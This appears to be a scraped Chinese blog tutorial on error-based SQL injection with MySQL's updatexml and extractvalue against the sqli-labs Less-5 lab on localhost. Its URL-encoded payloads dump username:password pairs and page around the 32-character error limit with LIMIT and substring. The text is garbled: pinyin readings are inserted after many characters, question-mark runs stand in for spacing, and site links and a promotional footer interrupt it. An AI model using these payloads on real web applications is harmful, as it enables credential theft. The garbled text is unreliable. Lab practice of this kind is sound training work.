????????報(bào)錯(cuò)注入是一種常見的SQL 注入方式,通過注入代碼,觸發(fā)數(shù)據(jù)庫的錯(cuò)誤響應(yīng),并從錯(cuò)誤信息中獲取有用的信息。
?updatexml和extractvalue??
????????updatexml和extractvalue? 是常用的兩個(gè)報(bào)錯(cuò)注入函數(shù)
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(%27~%27,(select%20user())),1)--+
????????updatexml() 函數(shù)和extractvalue()的報(bào)錯(cuò)內(nèi)容長度不能超過 32 個(gè)字符,當(dāng)我們查詢的內(nèi)容較短時(shí)可以完整顯示,若查詢內(nèi)容較長,則導(dǎo)致我們要查詢的的內(nèi)容顯示不全。
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--+
? ? ? ? 我們可以使用 limit或者分段顯示的方式來解決
limit
limit函數(shù)包含兩個(gè)參數(shù),第一個(gè)參數(shù)表示行,第二個(gè)參數(shù)表示列,我們可以通過換參,逐個(gè)查看。
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+
limit 1 1? ? ?2 1? ?3 1? ?數(shù)據(jù)少了挨個(gè)試? 數(shù)據(jù)多了寫腳本?
limit 8 1 的時(shí)候查到了admin?
分段顯示 substring
一次截32個(gè)? 慢慢截文章來源:http://www.zghlxwxcb.cn/news/detail-829067.html
http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),64,96)from%20users),0x7e),1)--+
文章來源地址http://www.zghlxwxcb.cn/news/detail-829067.html
到了這里,關(guān)于解決updatexml和extractvalue查詢顯示不全的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!